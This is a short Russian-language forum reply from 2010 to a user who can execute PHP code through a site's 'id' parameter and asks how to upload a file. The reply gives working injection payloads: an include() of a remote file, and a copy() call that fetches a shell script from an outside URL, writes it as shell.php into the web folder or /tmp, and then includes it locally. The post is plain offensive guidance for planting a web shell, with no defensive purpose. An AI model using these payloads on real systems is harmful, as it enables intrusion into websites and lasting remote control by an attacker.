
08.06.2010, 01:34
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 546
С нами:
8885780
Репутация:
672
|
|
Сообщение от a1ertso
При выполнении запроса типа: site.ru/index.php?id=phpinfo(); Могу просмотреть пхпинфо. А как залить файл?
id=include("http://yoursite.com/yourfile");
id=copy($_GET[file1],$_GET[file2]);&file1=http://yoursite.com/yourfile.txt&file2=/yourpath/to/webfolder/
например
file1=http://microsoft.com/shell.txt&file2=/var/www/html/shell.php
если не знаешь полный путь к сайту to копируй шелл в папку /tmp
потом делай локальный инклуд
include("/tmp/shell.php");
Последний раз редактировалось Konqi; 08.06.2010 в 01:39..
|
|
|